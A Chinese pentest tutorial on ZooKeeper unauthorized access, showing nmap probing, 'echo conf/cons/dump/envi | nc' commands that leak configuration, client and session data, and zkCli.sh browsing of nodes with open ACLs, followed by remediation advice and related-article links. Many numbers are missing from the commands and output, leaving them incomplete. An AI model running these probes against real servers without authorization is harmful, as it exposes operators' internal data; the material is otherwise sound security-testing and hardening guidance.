前言

  ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

  zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露。

  默认使用端口:2181、2182。

探测Zookeeper服务开放

  如使用nmap探测某个目标地址是否运行Zookeeper服务,探测2181端口开放。

root@kali:~# nmap -Pn -p  xx.xx.xx.xx
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT
Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)
Host is up (.016s latency). PORT STATE SERVICE
/tcp open eforward Nmap done: IP address ( host up) scanned in 0.22 seconds

  批量探测仅需修改一下对应的目标地址即可。

获取信息

conf命令

  输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。

root@kali:~# echo conf | nc xx.xx.xx.xx 
clientPort=
dataDir=/opt/data/zookeeper/data/version-
dataLogDir=/opt/data/zookeeper/data/version-
tickTime=
maxClientCnxns=
minSessionTimeout=
maxSessionTimeout=
serverId=

cons命令

  列出所有连接到当前服务器的客户端/会话的详细信息。

root@kali:~# echo cons | nc xx.xx.xx.xx  | more
/10.23.46.40:[](queued=,recved=,sent=,sid=0x1000000e029b16e,lop=PING,est=,to=,lcxid=0x33,lzxid=0x286a720,lresp=,llat=,minlat=,avglat=,maxlat=)
/10.23.46.39:[](queued=,recved=,sent=,sid=0x1000000e029b17c,lop=PING,est=,to=,lcxid=0x33,lzxid=0x286a71c,lresp=,llat=,minlat=,avglat=,maxlat=)

dump命令

  输出未处理的会话和临时节点,leader 节点有效。

root@kali:~# echo dump | nc xx.xx.xx.xx  | more
SessionTracker dump:
Session Sets ():
expire at Thu Jan :: CST :
expire at Thu Jan :: CST :
expire at Thu Jan :: CST :
0x1000000e01f0013
0x1000000e029fdde
0x1000000e029fe05
expire at Thu Jan :: CST :
0x1000000e02a4235
0x1000000e01f00e9
expire at Thu Jan :: CST :
0x1000000e01f067a
0x1000000e02a423c
0x1000000e01f0008
0x1000000e029fdf4
...

  非 leader 节点看不到什么相关信息。

envi命令

  输出服务器的详细信息。

root@kali:~# echo envi | nc xx.xx.xx.xx 
Environment:
zookeeper.version=3.4.-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on // : GMT
host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06
java.version=1.7.0_80
java.vendor=Oracle Corporation
java.home=/usr/java/jdk1..0_80/jre
java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.10.0-327.36.3.el7.x86_64
user.name=root
user.home=/root
user.dir=/

连接测试

安装工具

  如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh

# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh

连接目标

  使用-server参数指定目标即可连接。

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:
Connecting to xx.xx.xx.xx:
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:(CONNECTING) ] ... 已连接

获取系统相关信息

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:
Connecting to xx.xx.xx.xx:
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:(CONNECTING) ]
WATCHER:: WatchedEvent state:SyncConnected type:None path:null [zk: xx.xx.xx.xx:(CONNECTED) ] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:(CONNECTED) ] get / cZxid = 0x0
ctime = Wed Dec :: EST
mZxid = 0x0
mtime = Wed Dec :: EST
pZxid = 0x4c0
cversion =
dataVersion =
aclVersion =
ephemeralOwner = 0x0
dataLength =
numChildren =
[zk: xx.xx.xx.xx:(CONNECTED) ] get /service cZxid = 0x2
ctime = Thu Aug :: EDT
mZxid = 0x2
mtime = Thu Aug :: EDT
pZxid = 0x1cb884d
cversion =
dataVersion =
aclVersion =
ephemeralOwner = 0x0
dataLength =
numChildren =
[zk: xx.xx.xx.xx:(CONNECTED) ] getAcl /
'world,'anyone
: cdrwa

修复方案

1、设置防火墙策略限制 IP 访问
2、不要将 zookeeper 暴露在外网
3、设置用户认证和 ACL

参考

  zookeeper 未授权访问

     http://vic.pub/zookeeper-未授权访问/

Zookeeper未授权访问测试的更多相关文章

  1. ZooKeeper未授权访问漏洞确认与修复

    目录 探测2181 探测四字命令 用安装好zk环境的客户端连接测试 修复 修复步骤一 关闭四字命令 修复步骤二 关闭未授权访问 zookeeper未授权访问测试参考文章: https://www.cn ...

  2. zookeeper未授权访问渗透测试及修复方法

    zookeeper未授权访问危害 服务器信息泄露.集群被破坏 一. 四字命令未授权使用 1.1 测试 工具:netcat ,Linux或Windows都可以测 命令行输入echo envi | nc ...

  3. Zookeeper未授权访问

    l 漏洞名称: zookeeper未授权访问 l  漏洞影响版本: zookeeper l  漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...

  4. zookeeper未授权访问漏洞

    1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...

  5. ZooKeeper 未授权访问漏洞

    ZooKeeper 安装: Zookeeper的默认开放端口是2181 wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zooke ...

  6. ZooKeeper通过ACL修复未授权访问漏洞

    默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...

  7. zookeeper的未授权访问漏洞解决

    zookeeper的基本情况 zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务.zookeeper官网下载软件包,bin目录下有客户端脚本和服务端脚本.另外还有个工具 ...

  8. 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用

    0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...

  9. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

随机推荐

  1. math库的使用

    math库简介 math库是Python提供的内置数学内函数库,因为复数类型常用于科学计算,一般计算并不常用,因此math库不支持复数类型,仅支持整数和浮点数运算,math库一共提供4个数学常数和44 ...

  2. mybatis-generator:generate 生成代码配置踩坑详解

    mybatis-generator:generate 生成代码配置踩坑不少,在此留下笔记以便后续填坑 一.mysql返回时间问题 错误信息: [ERROR] Failed to execute goa ...

  3. kafka topic消息分配partition规则(Java源码)

    我们知道Kafka 的消息通过topic进行分类.topic可以被分为若干个partition来存储消息.消息以追加的方式写入partition,然后以先入先出的顺序读取. 下面是topic和part ...

  4. Unity3D_02_基类MonoBehaviour/自带函数以及脚本执行的生命周期

    导引: 其中Time,Input,Physics都是Unity中的全局变量.GameObject是游戏中的基本物件.GameObject是由Component组合而成的,GameObject本身必须有 ...

  5. 松软科技课堂:数据库-主键(PrimaryKey)

    主键就是一个表中每个数据行的唯一标识.不会有重复值的列才能当主键.一个表可以没有主键,但是会非常难以处理,因此没有特殊理由表都要设定主键 主键有两种选用策略:业务主键和逻辑主键.业务主键是使用有业务意 ...

  6. IBM MQ reason code list

    The reason code parameter (Reason) is a qualification to the completion code parameter (CompCode). I ...

  7. PyCharm2019激活

    PyCharm下载地址:https://www.jetbrains.com/pycharm/download/ 永久激活 这里主要介绍永久激活的方式,永久激活后,就可以放心使用了,一劳永逸,5分钟就能 ...

  8. [CUDA] 00 - GPU Driver Installation & Concurrency Programming

    前言 对,这是一个高大上的技术,终于要做老崔当年做过的事情了,生活很传奇. 一.主流 GPU 编程接口 1. CUDA 是英伟达公司推出的,专门针对 N 卡进行 GPU 编程的接口.文档资料很齐全,几 ...

  9. 小白专场-FileTransfer-c语言实现

    目录 一.集合的简化表示 二.题意理解 三.程序框架搭建 3.1 Input_connection 3.2 Check_connection 3.3 Check_network 四.pta测试 五.按 ...

  10. Linux之VMWare下Centos7的三种网络配置过程

    Linux之VMWare下Centos7的三种网络配置过程 环境: 虚拟软件:VMWare 14.0 客户机:windows 10 虚拟机:centos 7 VMware三种网络连接方式 Bridge ...